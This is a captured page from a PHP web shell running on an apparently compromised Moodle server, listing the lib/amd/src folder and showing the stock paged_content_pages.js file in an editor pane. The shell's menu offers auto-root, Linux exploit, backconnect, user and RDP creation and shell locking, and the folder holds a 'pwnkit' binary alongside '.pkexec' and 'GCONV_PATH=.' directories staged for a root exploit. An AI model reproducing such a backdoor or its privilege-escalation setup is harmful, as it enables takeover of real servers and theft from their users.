Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
emoji
[ DIR ]
drwxrwxrwx
local
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
adapter.js
190.74
KB
-rwxrwxrwx
addblockmodal.js
2.56
KB
-rwxrwxrwx
ajax.js
10.09
KB
-rwxrwxrwx
auto_rows.js
3.5
KB
-rwxrwxrwx
autoscroll.js
6.54
KB
-rwxrwxrwx
backoff_timer.js
5.12
KB
-rwxrwxrwx
chart_axis.js
7.43
KB
-rwxrwxrwx
chart_bar.js
3.13
KB
-rwxrwxrwx
chart_base.js
11.41
KB
-rwxrwxrwx
chart_builder.js
1.67
KB
-rwxrwxrwx
chart_line.js
2.13
KB
-rwxrwxrwx
chart_output.js
1.1
KB
-rwxrwxrwx
chart_output_base.js
2.09
KB
-rwxrwxrwx
chart_output_chartjs.js
10.95
KB
-rwxrwxrwx
chart_output_htmltable.js
3.36
KB
-rwxrwxrwx
chart_pie.js
3.09
KB
-rwxrwxrwx
chart_series.js
8.41
KB
-rwxrwxrwx
chartjs-lazy.js
670.93
KB
-rwxrwxrwx
chartjs.js
933
B
-rwxrwxrwx
checkbox-toggleall.js
12.78
KB
-rwxrwxrwx
config.js
1.05
KB
-rwxrwxrwx
custom_interaction_events.js
22.29
KB
-rwxrwxrwx
dragdrop.js
13.01
KB
-rwxrwxrwx
drawer.js
3.37
KB
-rwxrwxrwx
drawer_events.js
987
B
-rwxrwxrwx
event.js
3.99
KB
-rwxrwxrwx
first.js
1.38
KB
-rwxrwxrwx
form-autocomplete.js
50.91
KB
-rwxrwxrwx
form-cohort-selector.js
2.56
KB
-rwxrwxrwx
form-course-selector.js
3.87
KB
-rwxrwxrwx
fragment.js
4.72
KB
-rwxrwxrwx
fullscreen.js
1.66
KB
-rwxrwxrwx
icon_system.js
2.52
KB
-rwxrwxrwx
icon_system_fontawesome.js
3.95
KB
-rwxrwxrwx
icon_system_standard.js
2.29
KB
-rwxrwxrwx
inplace_editable.js
13.31
KB
-rwxrwxrwx
key_codes.js
1.38
KB
-rwxrwxrwx
loadingicon.js
3.89
KB
-rwxrwxrwx
localstorage.js
2.1
KB
-rwxrwxrwx
log.js
1.76
KB
-rwxrwxrwx
loglevel.js
9.66
KB
-rwxrwxrwx
modal.js
29.18
KB
-rwxrwxrwx
modal_backdrop.js
4.48
KB
-rwxrwxrwx
modal_cancel.js
1.44
KB
-rwxrwxrwx
modal_events.js
1.25
KB
-rwxrwxrwx
modal_factory.js
8.05
KB
-rwxrwxrwx
modal_registry.js
2.4
KB
-rwxrwxrwx
modal_save_cancel.js
2.14
KB
-rwxrwxrwx
mustache.js
26.69
KB
-rwxrwxrwx
network.js
6.78
KB
-rwxrwxrwx
notification.js
8.72
KB
-rwxrwxrwx
page_global.js
5.4
KB
-rwxrwxrwx
paged_content.js
2.87
KB
-rwxrwxrwx
paged_content_events.js
1.17
KB
-rwxrwxrwx
paged_content_factory.js
20.68
KB
-rwxrwxrwx
paged_content_pages.js
11.75
KB
-rwxrwxrwx
paged_content_paging_bar.js
20.34
KB
-rwxrwxrwx
paged_content_paging_bar_limit...
2.36
KB
-rwxrwxrwx
paged_content_paging_dropdown....
7.36
KB
-rwxrwxrwx
pending.js
1.59
KB
-rwxrwxrwx
permissionmanager.js
9.82
KB
-rwxrwxrwx
popover_region_controller.js
12.58
KB
-rwxrwxrwx
popper.js
79.2
KB
-rwxrwxrwx
prefetch.js
4.61
KB
-rwxrwxrwx
pubsub.js
2.17
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
search-input.js
3.24
KB
-rwxrwxrwx
sessionstorage.js
2.24
KB
-rwxrwxrwx
showhidesettings.js
11.83
KB
-rwxrwxrwx
sortable_list.js
29.51
KB
-rwxrwxrwx
storagewrapper.js
5.17
KB
-rwxrwxrwx
str.js
6.13
KB
-rwxrwxrwx
tag.js
19.79
KB
-rwxrwxrwx
templates.js
49.68
KB
-rwxrwxrwx
toast.js
2.72
KB
-rwxrwxrwx
tooltip.js
4.1
KB
-rwxrwxrwx
tree.js
18.06
KB
-rwxrwxrwx
truncate.js
6.6
KB
-rwxrwxrwx
url.js
3.69
KB
-rwxrwxrwx
user_date.js
9.34
KB
-rwxrwxrwx
userfeedback.js
2.91
KB
-rwxrwxrwx
utils.js
2.69
KB
-rwxrwxrwx
yui.js
1.15
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : paged_content_pages.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Javascript for showing/hiding pages of content. * * @module core/paged_content_pages * @copyright 2018 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define( [ 'jquery', 'core/templates', 'core/notification', 'core/pubsub', 'core/paged_content_events', 'core/pending', ], function( $, Templates, Notification, PubSub, PagedContentEvents, Pending ) { var SELECTORS = { ROOT: '[data-region="page-container"]', PAGE_REGION: '[data-region="paged-content-page"]', ACTIVE_PAGE_REGION: '[data-region="paged-content-page"].active' }; var TEMPLATES = { PAGING_CONTENT_ITEM: 'core/paged_content_page', LOADING: 'core/overlay_loading' }; var PRELOADING_GRACE_PERIOD = 300; /** * Find a page by the number. * * @param {object} root The root element. * @param {Number} pageNumber The number of the page to be found. * @returns {jQuery} The page. */ var findPage = function(root, pageNumber) { return root.find('[data-page="' + pageNumber + '"]'); }; /** * Show the loading spinner until the returned deferred is resolved by the * calling code. * * The loading spinner is only rendered after a short grace period to avoid * having it flash up briefly in the interface. * * @param {object} root The root element. * @returns {promise} The page. */ var startLoading = function(root) { var deferred = $.Deferred(); root.attr('aria-busy', true); var pendingPromise = new Pending('core/paged_content_pages:startLoading'); Templates.render(TEMPLATES.LOADING, {visible: true}) .then(function(html) { var loadingSpinner = $(html); // Put this in a timer to give the calling code 300 milliseconds // to render the content before we show the loading spinner. This // helps prevent a loading icon flicker on close to instant // rendering. var timerId = setTimeout(function() { root.css('position', 'relative'); loadingSpinner.appendTo(root); }, PRELOADING_GRACE_PERIOD); deferred.always(function() { clearTimeout(timerId); // Remove the loading spinner when our deferred is resolved // by the calling code. loadingSpinner.remove(); root.css('position', ''); root.removeAttr('aria-busy'); pendingPromise.resolve(); return; }); return; }) .fail(Notification.exception); return deferred; }; /** * Render the result of the page promise in a paged content page. * * This function returns a promise that is resolved with the new paged content * page. * * @param {object} root The root element. * @param {promise} pagePromise The promise resolved with HTML and JS to render in the page. * @param {Number} pageNumber The page number. * @returns {promise} The page. */ var renderPagePromise = function(root, pagePromise, pageNumber) { var deferred = $.Deferred(); pagePromise.then(function(html, pageJS) { pageJS = pageJS || ''; // When we get the contents to be rendered we can pass it in as the // content for a new page. Templates.render(TEMPLATES.PAGING_CONTENT_ITEM, { page: pageNumber, content: html }) .then(function(html) { // Make sure the JS we got from the page promise is being added // to the page when we render the page. Templates.appendNodeContents(root, html, pageJS); var page = findPage(root, pageNumber); deferred.resolve(page); return; }) .fail(function(exception) { deferred.reject(exception); }) .fail(Notification.exception); return; }) .fail(function(exception) { deferred.reject(exception); return; }) .fail(Notification.exception); return deferred.promise(); }; /** * Make one or more pages visible based on the SHOW_PAGES event. The show * pages event provides data containing which pages should be shown as well * as the limit and offset values for loading the items for each of those pages. * * The renderPagesContentCallback is provided this list of data to know which * pages to load. E.g. the data to load 2 pages might look like: * [ * { * pageNumber: 1, * limit: 5, * offset: 0 * }, * { * pageNumber: 2, * limit: 5, * offset: 5 * } * ] * * The renderPagesContentCallback should return an array of promises, one for * each page in the pages data, that is resolved with the HTML and JS for that page. * * If the renderPagesContentCallback is not provided then it is assumed that * all pages have been rendered prior to initialising this module. * * This function triggers the PAGES_SHOWN event after the pages have been rendered. * * @param {object} root The root element. * @param {Number} pagesData The data for which pages need to be visible. * @param {string} id A unique id for this instance. * @param {function} renderPagesContentCallback Render pages content. */ var showPages = function(root, pagesData, id, renderPagesContentCallback) { var pendingPromise = new Pending('core/paged_content_pages:showPages'); var existingPages = []; var newPageData = []; var newPagesPromise = $.Deferred(); var shownewpage = true; // Check which of the pages being requests have previously been rendered // so that we only ask for new pages to be rendered by the callback. pagesData.forEach(function(pageData) { var pageNumber = pageData.pageNumber; var existingPage = findPage(root, pageNumber); if (existingPage.length) { existingPages.push(existingPage); } else { newPageData.push(pageData); } }); if (newPageData.length && typeof renderPagesContentCallback === 'function') { // If we have pages we haven't previously seen then ask the client code // to render them for us by calling the callback. var promises = renderPagesContentCallback(newPageData, { allItemsLoaded: function(lastPageNumber) { PubSub.publish(id + PagedContentEvents.ALL_ITEMS_LOADED, lastPageNumber); } }); // After the client has finished rendering each of the pages being asked // for then begin our rendering process to put that content into paged // content pages. var renderPagePromises = promises.map(function(promise, index) { // Create our promise for when our rendering will be completed. return renderPagePromise(root, promise, newPageData[index].pageNumber); }); // After each of our rendering promises have been completed then we can // give all of the new pages to the next bit of code for handling. $.when.apply($, renderPagePromises) .then(function() { var newPages = Array.prototype.slice.call(arguments); // Resolve the promise with the list of newly rendered pages. newPagesPromise.resolve(newPages); return; }) .fail(function(exception) { newPagesPromise.reject(exception); return; }) .fail(Notification.exception); } else { // If there aren't any pages to load then immediately resolve the promise. newPagesPromise.resolve([]); } var loadingPromise = startLoading(root); newPagesPromise.then(function(newPages) { // Once all of the new pages have been created then add them to any // existing pages we have. var pagesToShow = existingPages.concat(newPages); // Hide all existing pages. root.find(SELECTORS.PAGE_REGION).addClass('hidden'); // Show each of the pages that were requested.; pagesToShow.forEach(function(page) { if (shownewpage) { page.removeClass('hidden'); } }); return; }) .then(function() { // Let everything else know we've displayed the pages. PubSub.publish(id + PagedContentEvents.PAGES_SHOWN, pagesData); return; }) .fail(Notification.exception) .always(function() { loadingPromise.resolve(); pendingPromise.resolve(); }) .catch(); }; /** * Initialise the module to listen for SHOW_PAGES events and render the * appropriate pages using the provided renderPagesContentCallback function. * * The renderPagesContentCallback is provided a list of data to know which * pages to load. * E.g. the data to load 2 pages might look like: * [ * { * pageNumber: 1, * limit: 5, * offset: 0 * }, * { * pageNumber: 2, * limit: 5, * offset: 5 * } * ] * * The renderPagesContentCallback should return an array of promises, one for * each page in the pages data, that is resolved with the HTML and JS for that page. * * If the renderPagesContentCallback is not provided then it is assumed that * all pages have been rendered prior to initialising this module. * * The event element is the element to listen for the paged content events on. * * @param {object} root The root element. * @param {string} id A unique id for this instance. * @param {function} renderPagesContentCallback Render pages content. */ var init = function(root, id, renderPagesContentCallback) { root = $(root); PubSub.subscribe(id + PagedContentEvents.SHOW_PAGES, function(pagesData) { showPages(root, pagesData, id, renderPagesContentCallback); }); PubSub.subscribe(id + PagedContentEvents.SET_ITEMS_PER_PAGE_LIMIT, function() { // If the items per page limit was changed then we need to clear our content // the load new values based on the new limit. root.empty(); }); }; return { init: init, rootSelector: SELECTORS.ROOT, }; });
Close